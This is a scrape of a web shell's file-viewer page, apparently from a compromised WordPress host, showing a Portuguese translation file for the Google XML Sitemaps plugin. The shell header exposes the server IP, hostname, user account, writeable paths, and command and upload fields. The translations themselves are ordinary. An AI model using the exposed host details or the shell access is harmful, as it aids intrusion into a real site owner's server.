403Webshell
Server IP : 49.212.180.16  /  Your IP : 18.223.209.231
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/utannto/www/hironaka.biz/wp-content/plugins/google-sitemap-generator/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/utannto/www/hironaka.biz/wp-content/plugins/google-sitemap-generator/lang/sitemap-pt_PT.po
msgid ""
msgstr ""
"Project-Id-Version: Google XML Sitemaps v4.0.3\n"
"Report-Msgid-Bugs-To: <[mail-address]>\n"
"POT-Creation-Date: 2005-06-15 00:00+0000\n"
"PO-Revision-Date: 2014-04-19 19:06+0100\n"
"Last-Translator: \n"
"Language-Team: wordpress.mowster.net <wordpress@mowster.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Poedit 1.6.4\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;"
"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-Bookmarks: -1,59,-1,-1,-1,71,-1,-1,-1,-1\n"
"X-Textdomain-Support: yes\n"
"Language: pt_PT\n"
"X-Poedit-SearchPath-0: .\n"

# @ sitemap
#: sitemap-ui.php:816
msgid ""
"If your blog is in a subdirectory and you want to add pages which are NOT in "
"the blog directory or beneath, you MUST place your sitemap file in the root "
"directory (Look at the &quot;Location of your sitemap file&quot; section on "
"this page)!"
msgstr ""
"Se o seu blog está numa pasta e quer adicionar paginas que NÃO estão na "
"pasta do seu blog ou em sub-pastas, DEVE colocar o seu ficheiro sitemap na "
"raiz dos diretorias (Verifique na secção \"Localização do seu ficheiro "
"sitemap\" nesta página)!"

# @ sitemap
#: sitemap-ui.php:374
msgid "Configuration updated"
msgstr "Configuração atualizada"

# @ sitemap
#: sitemap-ui.php:378
msgid "Pages saved"
msgstr "Páginas guardadas"

# @ sitemap
#: sitemap-ui.php:379
msgid "Error while saving pages"
msgstr "Erro durante a gravação das páginas"

# @ sitemap
#: sitemap-ui.php:810
msgid "Additional pages"
msgstr "Páginas adicionais"

# @ sitemap
#: sitemap-ui.php:813
msgid ""
"Here you can specify files or URLs which should be included in the sitemap, "
"but do not belong to your Blog/WordPress.<br />For example, if your domain "
"is www.foo.com and your blog is located on www.foo.com/blog you might want "
"to include your homepage at www.foo.com"
msgstr ""
"Aqui pode especificar os ficheiros ou URLs que devem ser incluídas no "
"sitemap mas que não pertencem ao seu blog/WordPress.<br />Por exemplo: se o "
"seu domínio é www.foo.com e o seu blog está localizado em www.foo.com/blog, "
"deve querer incluir a sua página inicial em www.foo.com"

# @ sitemap
#: sitemap-ui.php:818 sitemap-ui.php:857
msgid "URL to the page"
msgstr "URL da página"

# @ sitemap
#: sitemap-ui.php:819
msgid ""
"Enter the URL to the page. Examples: http://www.foo.com/index.html or www."
"foo.com/home "
msgstr ""
"URL da página. Exemplos: http://www.foo.com/index.html ou www.foo.com/home "

# @ sitemap
#: sitemap-ui.php:821 sitemap-ui.php:858
msgid "Priority"
msgstr "Prioridade"

# @ sitemap
#: sitemap-ui.php:822
msgid ""
"Choose the priority of the page relative to the other pages. For example, "
"your homepage might have a higher priority than your imprint."
msgstr ""
"Escolha a prioridade relativa da página em relação a outras páginas. Por "
"exemplo, a sua página inicial deve ter uma maior prioridade que os seus "
"dados pessoais."

# @ sitemap
#: sitemap-ui.php:824 sitemap-ui.php:860
msgid "Last Changed"
msgstr "Última Alteração"

# @ sitemap
#: sitemap-ui.php:825
msgid ""
"Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) "
"(optional)."
msgstr ""
"Introduza a data da última alteração com o formato AAAA-MM-DD (por exemplo: "
"2005-12-31) (opcional)."

# @ sitemap
#: sitemap-ui.php:859
msgid "Change Frequency"
msgstr "Alterar Frequência"

# @ sitemap
#: sitemap-ui.php:861
msgid "#"
msgstr "#"

# @ sitemap
#: sitemap-ui.php:866
msgid "No pages defined."
msgstr "Nenhuma página definida."

# @ sitemap
#: sitemap-ui.php:871
msgid "Add new page"
msgstr "Adicionar nova página"

# @ sitemap
#: sitemap-ui.php:754
msgid "Basic Options"
msgstr "Opções Básicas"

# @ sitemap
#: sitemap-ui.php:898
msgid "Include homepage"
msgstr "Incluir página principal"

# @ sitemap
#: sitemap-ui.php:904
msgid "Include posts"
msgstr "Incluir artigos"

# @ sitemap
#: sitemap-ui.php:910
msgid "Include static pages"
msgstr "Incluir páginas estáticas"

# @ sitemap
#: sitemap-ui.php:916
msgid "Include categories"
msgstr "Incluir categorias"

# @ sitemap
#: sitemap-ui.php:922
msgid "Include archives"
msgstr "Incluir arquivos"

# @ sitemap
#: sitemap-ui.php:1036
msgid "Change frequencies"
msgstr "Alterar frequências"

# @ sitemap
#: sitemap-ui.php:815 sitemap-ui.php:1019 sitemap-ui.php:1030
#: sitemap-ui.php:1039
msgid "Note"
msgstr "Nota"

# @ sitemap
#: sitemap-ui.php:1040
msgid ""
"Please note that the value of this tag is considered a hint and not a "
"command. Even though search engine crawlers consider this information when "
"making decisions, they may crawl pages marked \"hourly\" less frequently "
"than that, and they may crawl pages marked \"yearly\" more frequently than "
"that. It is also likely that crawlers will periodically crawl pages marked "
"\"never\" so that they can handle unexpected changes to those pages."
msgstr ""
"Por favor, considere que o valor desta etiqueta é um conselho e não um "
"comando. Mesmo quando alguns motores de busca consideram esta informação "
"para tomar decisões, eles podem verificar as páginas marcadas como \"de hora "
"em hora\" com menor frequência, e visitar varias vezes por ano, as páginas "
"marcadas com \"anualmente\". É igualmente possível que sejam verificadas "
"páginas marcadas com \"nunca\" para gerir possíveis mudanças inesperadas nas "
"mesmas."

# @ sitemap
#: sitemap-ui.php:1046 sitemap-ui.php:1103
msgid "Homepage"
msgstr "Página principal"

# @ sitemap
#: sitemap-ui.php:1052
msgid "Posts"
msgstr "Artigos"

# @ sitemap
#: sitemap-ui.php:1058 sitemap-ui.php:1121
msgid "Static pages"
msgstr "Páginas estáticas"

# @ sitemap
#: sitemap-ui.php:1064 sitemap-ui.php:1127
msgid "Categories"
msgstr "Categorias"

# @ sitemap
#: sitemap-ui.php:1070
msgid ""
"The current archive of this month (Should be the same like your homepage)"
msgstr "Arquivo deste mês (Deve ser igual ao da sua pagina principal)"

# @ sitemap
#: sitemap-ui.php:1076
msgid "Older archives (Changes only if you edit an old post)"
msgstr "Arquivos antigos (Alterar só se editou um artigo antigo)"

# @ sitemap
#: sitemap-ui.php:1098
msgid "Priorities"
msgstr "Prioridades"

# @ sitemap
#: sitemap-ui.php:1109
msgid "Posts (If auto calculation is disabled)"
msgstr "Artigos (Se o calculo automático está desabilitado)"

# @ sitemap
#: sitemap-ui.php:1115
msgid "Minimum post priority (Even if auto calculation is enabled)"
msgstr ""
"Prioridade mínima para artigos (Mesmo quando o cálculo automático esteja "
"ativo)"

# @ sitemap
#: sitemap-ui.php:1133
msgid "Archives"
msgstr "Arquivos"

# @ sitemap
#: sitemap-ui.php:1158
msgid "Update options"
msgstr "Atualizar opções"

# @ sitemap
#: sitemap-core.php:536
msgid "Comment Count"
msgstr "Número de comentários"

# @ sitemap
#: sitemap-core.php:546
msgid "Uses the number of comments of the post to calculate the priority"
msgstr "Utiliza o número de comentários do artigo para calcular a prioridade"

# @ sitemap
#: sitemap-core.php:599
msgid "Comment Average"
msgstr "Média de comentários"

# @ sitemap
#: sitemap-core.php:609
msgid "Uses the average comment count to calculate the priority"
msgstr "Utiliza a contagem média de comentários para calcular a prioridade"

# @ sitemap
#: sitemap-core.php:770
msgid "Always"
msgstr "Sempre"

# @ sitemap
#: sitemap-core.php:771
msgid "Hourly"
msgstr "De hora em hora"

# @ sitemap
#: sitemap-core.php:772
msgid "Daily"
msgstr "Diariamente"

# @ sitemap
#: sitemap-core.php:773
msgid "Weekly"
msgstr "Semanalmente"

# @ sitemap
#: sitemap-core.php:774
msgid "Monthly"
msgstr "Mensalmente"

# @ sitemap
#: sitemap-core.php:775
msgid "Yearly"
msgstr "Anualmente"

# @ sitemap
#: sitemap-core.php:776
msgid "Never"
msgstr "Nunca"

# @ sitemap
#: sitemap-loader.php:233
msgid "XML-Sitemap Generator"
msgstr "Gerador XML-Sitemap"

# @ sitemap
#: sitemap-loader.php:233
msgid "XML-Sitemap"
msgstr "XML-Sitemap"

# @ sitemap
#: sitemap-loader.php:261
msgid "Settings"
msgstr "Configurações"

# @ sitemap
#: sitemap-loader.php:262
msgid "FAQ"
msgstr "FAQ"

# @ sitemap
#: sitemap-loader.php:263
msgid "Support"
msgstr "Suporte"

# @ sitemap
#: sitemap-loader.php:264
msgid "Donate"
msgstr "Donativo"

# @ sitemap
#: sitemap-ui.php:198 sitemap-ui.php:585
msgid "XML Sitemap Generator for WordPress"
msgstr "Gerador XML Sitemap para o WordPress"

# @ sitemap
#: sitemap-ui.php:375
msgid "Error while saving options"
msgstr "Erro enquanto guardava opções"

# @ sitemap
#: sitemap-ui.php:387
msgid "The default configuration was restored."
msgstr "A configuração padrão foi restabelecida."

# @ sitemap
#: sitemap-ui.php:397
msgid ""
"The old files could NOT be deleted. Please use an FTP program and delete "
"them by yourself."
msgstr ""
"Os ficheiros antigos não podem ser apagados. Por favor, utilize um programa "
"de FTP e apague-os manualmente."

# @ sitemap
#: sitemap-ui.php:399
msgid "The old files were successfully deleted."
msgstr "Os ficheiros antigos foram apagados com sucesso."

# @ sitemap
#: sitemap-ui.php:439
msgid ""
"Thank you very much for your donation. You help me to continue support and "
"development of this plugin and other free software!"
msgstr ""
"Muito obrigado pela sua contribuição. Ajuda-me a continuar a apoiar e a "
"desenvolver este plugin e outros softwares grátis!"

# @ sitemap
#: sitemap-ui.php:439
msgid "Hide this notice"
msgstr "Esconder esta notícia"

# @ sitemap
#: sitemap-ui.php:445
#, php-format
msgid ""
"Thanks for using this plugin! You've installed this plugin over a month ago. "
"If it works and you are satisfied with the results, isn't it worth at least "
"a few dollar? <a href=\"%s\">Donations</a> help me to continue support and "
"development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</"
"a>"
msgstr ""
"Obrigado por utilizar este plugin! Você instalou o plugin há mais de um mês. "
"Se funciona e você está satisfeito com os resultados, não vale pelo menos um "
"dólar? <a href=\"%s\">Donativos</ a> ajuda-me a continuar a apoiar e a  "
"desenvolver software <i>livre</i>! <a href=\"%s\">Claro, sem problema!</a>"

# @ sitemap
#: sitemap-ui.php:445
msgid "Sure, but I already did!"
msgstr "Claro, mas já o fiz anteriormente!"

# @ sitemap
#: sitemap-ui.php:445
msgid "No thanks, please don't bug me anymore!"
msgstr "Não obrigado, não me incomode mais!"

# @ sitemap
#: sitemap-ui.php:452
#, php-format
msgid ""
"Thanks for using this plugin! You've installed this plugin some time ago. If "
"it works and your are satisfied, why not <a href=\"%s\">rate it</a> and <a "
"href=\"%s\">recommend it</a> to others? :-)"
msgstr ""
"Obrigado por utilizar este plugin! Você instalou este plugin há algum tempo. "
"Se ele funciona e você está satisfeito, por que não <a href=\"%s\">avaliar</"
"a> e <a href=\"%s\">recomendar</a> a outros utilizadores? :-)"

# @ sitemap
#: sitemap-ui.php:452
msgid "Don't show this anymore"
msgstr "Não exibir"

# @ default
#: sitemap-ui.php:601
#, php-format
msgid ""
"There is a new version of %1$s available. <a href=\"%2$s\">Download version "
"%3$s here</a>."
msgstr ""

# @ default
#: sitemap-ui.php:603
#, php-format
msgid ""
"There is a new version of %1$s available. <a href=\"%2$s\">Download version "
"%3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
msgstr ""

# @ default
#: sitemap-ui.php:605
#, php-format
msgid ""
"There is a new version of %1$s available. <a href=\"%2$s\">Download version "
"%3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
msgstr ""

# @ sitemap
#: sitemap-ui.php:613
#, php-format
msgid ""
"Your blog is currently blocking search engines! Visit the <a href=\"%s"
"\">privacy settings</a> to change this."
msgstr ""
"O seu blog está neste momento a bloquear a indexação dos motores de busca! "
"Visite a <a href=\"%s\">privacidade</a> para alterar esta limitação."

# @ sitemap
#: sitemap-ui.php:629
msgid "About this Plugin:"
msgstr "Sobre o Plugin:"

# @ sitemap
#: sitemap-ui.php:630
msgid "Plugin Homepage"
msgstr "Página principal do Plugin"

# @ sitemap
#: sitemap-ui.php:631
msgid "Suggest a Feature"
msgstr "Sugerir nova funcionalidade"

# @ sitemap
#: sitemap-ui.php:632
msgid "Notify List"
msgstr "Receber notificações"

# @ sitemap
#: sitemap-ui.php:633
msgid "Support Forum"
msgstr "Fórum de suporte"

# @ sitemap
#: sitemap-ui.php:634
msgid "Report a Bug"
msgstr "Reportar um Bug"

# @ sitemap
#: sitemap-ui.php:636
msgid "Donate with PayPal"
msgstr "Donativo via PayPal"

# @ sitemap
#: sitemap-ui.php:637
msgid "My Amazon Wish List"
msgstr "Lista Amazon"

# @ sitemap
#: sitemap-ui.php:638
msgid "translator_name"
msgstr "Mowster"

# @ sitemap
#: sitemap-ui.php:638
msgid "translator_url"
msgstr "http://wordpress.mowster.net"

# @ sitemap
#: sitemap-ui.php:641
msgid "Sitemap Resources:"
msgstr "Recursos Sitemap:"

# @ sitemap
#: sitemap-ui.php:642 sitemap-ui.php:647
msgid "Webmaster Tools"
msgstr "Ferramentas para Webmasters"

# @ sitemap
#: sitemap-ui.php:643
msgid "Webmaster Blog"
msgstr "Webmaster Blog"

# @ sitemap
#: sitemap-ui.php:645
msgid "Search Blog"
msgstr "Procurar no Blog"

# @ sitemap
#: sitemap-ui.php:648
msgid "Webmaster Center Blog"
msgstr "Webmaster Center Blog"

# @ sitemap
#: sitemap-ui.php:650
msgid "Sitemaps Protocol"
msgstr "Protocolo Sitemaps"

# @ sitemap
#: sitemap-ui.php:651
msgid "Official Sitemaps FAQ"
msgstr "Oficial FAQ Sitemaps"

# @ sitemap
#: sitemap-ui.php:652
msgid "My Sitemaps FAQ"
msgstr "FAQ Sitemaps"

# @ sitemap
#: sitemap-ui.php:655
msgid "Recent Donations:"
msgstr "Donativos Recentes:"

# @ sitemap
#: sitemap-ui.php:658
msgid "List of the donors"
msgstr "Lista de doadores"

# @ sitemap
#: sitemap-ui.php:660
msgid "Hide this list"
msgstr "Ocultar lista"

# @ sitemap
#: sitemap-ui.php:663
msgid "Thanks for your support!"
msgstr "Obrigado pelo apoio!"

# @ sitemap
#: sitemap-ui.php:683
msgid "Search engines haven't been notified yet"
msgstr "Motores de busca ainda não foram notificados"

# @ sitemap
#: sitemap-ui.php:687
#, php-format
msgid "Result of the last ping, started on %date%."
msgstr "Resultado do último ping, iniciado em %date%."

# @ sitemap
#: sitemap-ui.php:702
#, php-format
msgid ""
"There is still a sitemap.xml or sitemap.xml.gz file in your blog directory. "
"Please delete them as no static files are used anymore or <a href=\"%s\">try "
"to delete them automatically</a>."
msgstr ""
"Existe ainda um ficheiro sitemap.xml ou sitemap.xml.gz na sua pasta do blog. "
"Por favor, apague-os uma vez que os ficheiros físicos não são mais "
"utilizados ​​ou <a href=\"%s\">tente apaga-los automaticamente</a>."

# @ sitemap
#: sitemap-ui.php:705
#, php-format
msgid "The URL to your sitemap index file is: <a href=\"%s\">%s</a>."
msgstr "O URL para o seu ficheiro sitemap é: <a href=\"%s\">%s</a>."

# @ sitemap
#: sitemap-ui.php:708
msgid ""
"Search engines haven't been notified yet. Write a post to let them know "
"about your sitemap."
msgstr ""
"Motores de busca ainda não foram notificados. Escreva um artigo e permita-"
"lhes que tomem conhecimento do seu sitemap."

# @ sitemap
#: sitemap-ui.php:717
#, php-format
msgid "%s was <b>successfully notified</b> about changes."
msgstr "%s foi <b>notificado com sucesso</b> sobre as alterações."

# @ sitemap
#: sitemap-ui.php:720
#, php-format
msgid ""
"It took %time% seconds to notify %name%, maybe you want to disable this "
"feature to reduce the building time."
msgstr ""
"Demorou %time% segundos para notificar %name%, talvez queira desabilitar "
"este recurso para reduzir o tempo de construção."

# @ sitemap
#: sitemap-ui.php:723
#, php-format
msgid ""
"There was a problem while notifying %name%. <a href=\"%s\">View result</a>"
msgstr ""
"Houve um problema enquanto notificava %name%. <a href=\"%s\">Ver resultados</"
"a>"

# @ sitemap
#: sitemap-ui.php:727
#, php-format
msgid ""
"If you encounter any problems with your sitemap you can use the <a href=\"%d"
"\">debug function</a> to get more information."
msgstr ""
"Se teve problemas com seu sitemap pode usar a função <a href=\"%d\">debug</"
"a> para obter mais informações."

# @ sitemap
#: sitemap-ui.php:756
msgid "Update notification:"
msgstr "Notificação de atualizações:"

# @ sitemap
#: sitemap-ui.php:756 sitemap-ui.php:779 sitemap-ui.php:802
msgid "Learn more"
msgstr "Saber mais"

# @ sitemap
#: sitemap-ui.php:760
msgid "Notify Google about updates of your Blog"
msgstr "Notificar o Google sobre as atualizações do seu Blog"

# @ sitemap
#: sitemap-ui.php:761
#, php-format
msgid ""
"No registration required, but you can join the <a href=\"%s\">Google "
"Webmaster Tools</a> to check crawling statistics."
msgstr ""
"Nenhum registo necessário, mas pode utilizar o <a href=\"%s\">Google "
"Webmaster Tools</a> para verificar as estatísticas de rastreamento."

# @ sitemap
#: sitemap-ui.php:765
msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
msgstr ""
"Notificar o Bing (antigo MSN Live Search) sobre as atualizações do seu Blog"

# @ sitemap
#: sitemap-ui.php:766
#, php-format
msgid ""
"No registration required, but you can join the <a href=\"%s\">Bing Webmaster "
"Tools</a> to check crawling statistics."
msgstr ""
"Nenhum registo necessário, mas pode utilizar o <a href=\"%s\">Bing Webmaster "
"Tools</a> para verificar as estatísticas de rastreamento."

# @ sitemap
#: sitemap-ui.php:771
msgid "Add sitemap URL to the virtual robots.txt file."
msgstr "Adicionar o URL do sitemap ao ficheiro virtual robots.txt."

# @ sitemap
#: sitemap-ui.php:775
msgid ""
"The virtual robots.txt generated by WordPress is used. A real robots.txt "
"file must NOT exist in the blog directory!"
msgstr ""
"O robots.txt virtual é gerado pelo WordPress. Um ficheiro robots.txt real "
"não deve existir no diretório do blog!"

# @ sitemap
#: sitemap-ui.php:779
msgid "Advanced options:"
msgstr "Opções avançadas:"

# @ sitemap
#: sitemap-ui.php:782
msgid "Try to increase the memory limit to:"
msgstr "Aumentar o limite de memória para:"

# @ sitemap
#: sitemap-ui.php:782
msgid "e.g. \"4M\", \"16M\""
msgstr "ex. \"4M\", \"16M\""

# @ sitemap
#: sitemap-ui.php:785
msgid "Try to increase the execution time limit to:"
msgstr "Aumentar o tempo de execução para:"

# @ sitemap
#: sitemap-ui.php:785
msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
msgstr "em segundos, ex: \"60\" or \"0\" para ilimitado"

# @ sitemap
#: sitemap-ui.php:789
msgid "Include a XSLT stylesheet:"
msgstr "Incluir uma folha de estilo XSLT:"

# @ sitemap
#: sitemap-ui.php:790
msgid "Full or relative URL to your .xsl file"
msgstr "URL completo ou relativo para o ficheiro .xsl"

# @ sitemap
#: sitemap-ui.php:790
msgid "Use default"
msgstr "Utilizar padrão"

# @ sitemap
#: sitemap-ui.php:795
msgid "Include sitemap in HTML format"
msgstr "Incluir o sitemap num formato HTML"

# @ sitemap
#: sitemap-ui.php:877
msgid "Post Priority"
msgstr "Prioridade do Artigo"

# @ sitemap
#: sitemap-ui.php:879
msgid "Please select how the priority of each post should be calculated:"
msgstr ""
"Por favor, selecione como a prioridade de cada artigo deve ser calculada:"

# @ sitemap
#: sitemap-ui.php:881
msgid "Do not use automatic priority calculation"
msgstr "Não utilizar o cálculo automático de prioridades"

# @ sitemap
#: sitemap-ui.php:881
msgid ""
"All posts will have the same priority which is defined in &quot;"
"Priorities&quot;"
msgstr ""
"Todo os artigos irão ter a mesma prioridade definida em &quot;"
"Prioridades&quot;"

# @ sitemap
#: sitemap-ui.php:892
msgid "Sitemap Content"
msgstr "Conteúdo Sitemap"

# @ sitemap
#: sitemap-ui.php:893
msgid "WordPress standard content"
msgstr "Conteúdo padrão do WordPress"

# @ sitemap
#: sitemap-ui.php:928
msgid "Include author pages"
msgstr "Incluir páginas de autores"

# @ sitemap
#: sitemap-ui.php:935
msgid "Include tag pages"
msgstr "Incluir páginas de etiquetas"

# @ sitemap
#: sitemap-ui.php:949
msgid "Custom taxonomies"
msgstr "Taxonomias personalizadas"

# @ sitemap
#: sitemap-ui.php:960
#, php-format
msgid "Include taxonomy pages for %s"
msgstr "Incluir páginas de taxonomias para %s"

# @ sitemap
#: sitemap-ui.php:978
msgid "Custom post types"
msgstr "Tipos de artigos personalizados"

# @ sitemap
#: sitemap-ui.php:989
#, php-format
msgid "Include custom post type %s"
msgstr "Incluir tipos de artigos personalizados %s"

# @ sitemap
#: sitemap-ui.php:1001
msgid "Further options"
msgstr "Mais opções"

# @ sitemap
#: sitemap-ui.php:1006
msgid "Include the last modification time."
msgstr "Incluir a hora da última modificação."

# @ sitemap
#: sitemap-ui.php:1008
msgid ""
"This is highly recommended and helps the search engines to know when your "
"content has changed. This option affects <i>all</i> sitemap entries."
msgstr ""
"É extremamente recomendável e ajuda os motores de busca a saber quando seu "
"conteúdo foi alterado. Esta opção afeta <i>todos</i> os registos do sitemap."

# @ sitemap
#: sitemap-ui.php:1015
msgid "Excluded items"
msgstr "Itens excluídos"

# @ sitemap
#: sitemap-ui.php:1017
msgid "Excluded categories"
msgstr "Categorias excluídas"

# @ sitemap
#: sitemap-ui.php:1019
msgid "Using this feature will increase build time and memory usage!"
msgstr ""
"Utilizar este recurso irá aumentar o tempo de compilação e utilização de "
"memória!"

# @ sitemap
#: sitemap-ui.php:1026
msgid "Exclude posts"
msgstr "Artigos excluídos"

# @ sitemap
#: sitemap-ui.php:1028
msgid "Exclude the following posts or pages:"
msgstr "Excluir os seguintes artigos ou páginas:"

# @ sitemap
#: sitemap-ui.php:1028
msgid "List of IDs, separated by comma"
msgstr "Listagem de IDs, separados por vírgual"

# @ sitemap
#: sitemap-ui.php:1030
msgid "Child posts won't be excluded automatically!"
msgstr "Artigos subsequentes não serão excluídos automaticamente!"

# @ sitemap
#: sitemap-ui.php:1083 sitemap-ui.php:1140
msgid "Tag pages"
msgstr "Páginas de etiquetas"

# @ sitemap
#: sitemap-ui.php:1090 sitemap-ui.php:1147
msgid "Author pages"
msgstr "Páginas de autores"

# @ sitemap
#: sitemap-ui.php:1159
msgid "Reset options"
msgstr "Redefinir opções"

# @ sitemap
#. translators: plugin header field 'Name'
#: sitemap.php:0
msgid "Google XML Sitemaps"
msgstr "Google XML Sitemaps"

# @ sitemap
#. translators: plugin header field 'PluginURI'
#: sitemap.php:0
msgid "http://www.arnebrachhold.de/redir/sitemap-home/"
msgstr "http://www.arnebrachhold.de/redir/sitemap-home/"

# @ sitemap
#. translators: plugin header field 'Description'
#: sitemap.php:0
msgid ""
"This plugin will generate a special XML sitemap which will help search "
"engines like Google, Yahoo, Bing and Ask.com to better index your blog."
msgstr ""
"Este plugin irá gerar um sitemap XML especial que irá ajudar os motores de "
"busca como Google, Yahoo, Bing e Ask.com a indexar mais facilmente o seu "
"blog."

# @ sitemap
#. translators: plugin header field 'Author'
#: sitemap.php:0
msgid "Arne Brachhold"
msgstr "Arne Brachhold"

# @ sitemap
#. translators: plugin header field 'AuthorURI'
#: sitemap.php:0
msgid "http://www.arnebrachhold.de/"
msgstr "http://www.arnebrachhold.de/"

# @ sitemap
#: sitemap.php:82
msgid "Your WordPress version is too old for XML Sitemaps."
msgstr ""
"A sua versão WordPress é demasiadamente antigo para poder executar o XML "
"Sitemaps."

# @ sitemap
#: sitemap.php:82
#, php-format
msgid ""
"Unfortunately this release of Google XML Sitemaps requires at least "
"WordPress %4$s. You are using Wordpress %2$s, which is out-dated and "
"insecure. Please upgrade or go to <a href=\"%1$s\">active plugins</a> and "
"deactivate the Google XML Sitemaps plugin to hide this message. You can "
"download an older version of this plugin from the <a href=\"%3$s\">plugin "
"website</a>."
msgstr ""
"Infelizmente esta versão do Google XML Sitemaps requer pelo menos o "
"WordPress %4$s. Está utilizando o Wordpress %2$s, que está caduco e "
"inseguro. Por favor, atualize ou nos <a href=\"%1$s\">plugins ativos</a> "
"desative o Google XML Sitemaps para ocultar esta mensagem. Pode utilizar uma "
"versão mais antiga deste plugin, é possível encontrá-la no <a href=\"%3$s"
"\">site oficial</a>."

# @ sitemap
#: sitemap.php:92
msgid "Your PHP version is too old for XML Sitemaps."
msgstr ""
"A sua versão PHP é demasiadamente antiga para poder executar o XML Sitemaps."

# @ sitemap
#: sitemap.php:92
#, php-format
msgid ""
"Unfortunately this release of Google XML Sitemaps requires at least PHP "
"%4$s. You are using PHP %2$s, which is out-dated and insecure. Please ask "
"your web host to update your PHP installation or go to <a href=\"%1$s"
"\">active plugins</a> and deactivate the Google XML Sitemaps plugin to hide "
"this message. You can download an older version of this plugin from the <a "
"href=\"%3$s\">plugin website</a>."
msgstr ""
"Infelizmente esta versão do Google XML Sitemaps requer pelo menos o PHP "
"%4$s. Está utilizando o PHP %2$s, que está caduco e inseguro. Por favor, "
"peça à sua empresa de alojamento para o atualizar o nos <a href=\"%1$s"
"\">plugins ativos</a> desative o Google XML Sitemaps para ocultar esta "
"mensagem. Pode utilizar uma versão mais antiga deste plugin, é possível "
"encontrá-la no <a href=\"%3$s\">site oficial</a>."

# @ sitemap
#: sitemap-ui.php:795
msgid "(The required PHP XSL Module is not installed)"
msgstr "(O módulo PHP XSL necessário não está instalado)"

# @ sitemap
#: sitemap-ui.php:801
msgid "Allow anonymous statistics (no personal information)"
msgstr "Permitir estatísticas anónimas (nenhuma informação pessoal)"

# @ sitemap
#: sitemap-ui.php:737
msgid "Webserver Configuration"
msgstr "Configuração do Servidor Web"

# @ sitemap
#: sitemap-ui.php:738
msgid ""
"Since you are using Nginx as your web-server, please configure the following "
"rewrite rules in case you get 404 Not Found errors for your sitemap:"
msgstr ""
"Uma vez que o Nginx é o servidor web, por favor, configure as seguintes "
"regras rewrite no caso de existirem erros 404 no sitemap:"

# @ sitemap
#. translators: plugin header field 'Version'
#: sitemap.php:0
msgid "4.0.3"
msgstr "4.0.3"

Youez - 2016 - github.com/yon3zu
LinuXploit